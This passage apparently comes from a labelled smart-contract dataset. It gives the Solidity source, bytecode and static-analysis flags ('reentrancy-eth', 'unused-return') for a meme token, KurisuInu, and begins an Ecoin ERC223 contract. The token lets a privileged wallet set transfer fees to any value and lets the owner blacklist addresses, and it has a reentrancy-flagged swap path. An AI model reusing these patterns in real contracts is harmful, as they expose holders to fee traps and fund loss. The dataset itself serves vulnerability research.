6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130b882613200565b91506130c383613200565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f8576130f76132db565b5b828201905092915050565b600061310e82613200565b915061311983613200565b9250826131295761312861330a565b5b828204905092915050565b600061313f82613200565b915061314a83613200565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613183576131826132db565b5b828202905092915050565b600061319982613200565b91506131a483613200565b9250828210156131b7576131b66132db565b5b828203905092915050565b60006131cd826131e0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132228261323b565b9050919050565b600061323482613200565b9050919050565b60006132468261324d565b9050919050565b6000613258826131e0565b9050919050565b60005b8381101561327d578082015181840152602081019050613262565b8381111561328c576000848401525b50505050565b600061329d82613200565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132d0576132cf6132db565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f546178206665652063616e6e6f74206265206d6f7265207468616e2031302500600082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613784816131c2565b811461378f57600080fd5b50565b61379b816131d4565b81146137a657600080fd5b50565b6137b281613200565b81146137bd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca3e1ffaf9701a9e742897ef1fcd93096868165b042945b78feec0c9d27607c464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,013
0xa3bdfbda1691a623590b96798273bd14084e5916
/** * https://t.me/KurisuInu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KurisuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xb414327Cf247449B658745B877bEBE66d7DE8186); address payable private _feeAddrWallet2 = payable(0x1d4B925473b3c89f2051C021aC44E3241f52D8B3); string private constant _name = "Kurisu Inu"; string private constant _symbol = "KURISU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152694b757269737520496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152654b555249535560d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfd88d9172885e0cbacd081e1442be427e5327a400e5494fc445768b7812acc664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,014
0x2b47d4f1fa2135e764917ee01858baf796a2058c
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title Ecoin * @author Ecoin * @dev Ecoin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract Ecoin is ERC223, Ownable { using SafeMath for uint256; string public name = "Ecoin"; string public symbol = "ECO"; uint8 public decimals = 8; uint256 public initialSupply = 60e9 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function Ecoin() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 